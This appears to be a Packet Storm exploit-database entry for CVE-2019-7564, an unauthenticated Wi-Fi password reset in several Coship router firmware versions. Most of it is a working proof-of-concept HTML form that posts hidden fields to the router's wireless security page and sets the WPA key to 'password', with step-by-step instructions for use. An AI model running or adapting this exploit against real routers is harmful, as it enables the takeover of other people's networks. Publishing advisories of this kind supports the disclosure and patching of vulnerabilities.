Coship Wireless Router 4.0.0.x / 5.0.0.x Authentication Bypass

2019-02-1100:00:00

Adithyan AK

packetstormsecurity.com

0.007 Low

EPSS

Percentile

81.0%

JSON

`# Exploit Title: Coship Wireless Router a Wireless SSID Unauthenticated Password Reset  
# Date: 07.02.2019  
# Exploit Author: Adithyan AK  
# Vendor Homepage: http://en.coship.com/  
# Category: Hardware (WiFi Router)  
# Affected Versions *: *Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.  
# Tested on: MacOS Mojave v.10.14  
# CVE: CVE-2019-7564  
  
#POC :  
  
# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html  
# Open Exploit.html with your Browser  
# Click on aSubmit requesta  
# The password of the Wireless SSID will be changed to "password"  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://X.X.X.X/regx/wireless/wl_security_2G.asp  
<http://router-ip/regx/wireless/wl_security_2G.asp>" method="POST">  
<input type="hidden" name="wl_wep" value="disabled" />  
<input type="hidden" name="wl_auth_mode" value="none" />  
<input type="hidden" name="page" value="wl_security_2G.asp" />  
<input type="hidden" name="wl_unit" value="0" />  
<input type="hidden" name="action" value="Apply" />  
<input type="hidden" name="wl_auth" value="0" />  
<input type="hidden" name="wl_akm" value="psk psk2" />  
<input type="hidden" name="wl_crypto" value="tkip+aes" />  
<input type="hidden" name="wl_wpa_gtk_rekey" value="0" />  
<input type="hidden" name="wl_wpa_psk" value="password" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
`

0.007 Low

EPSS

Percentile

81.0%

JSON

Related for PACKETSTORM:151595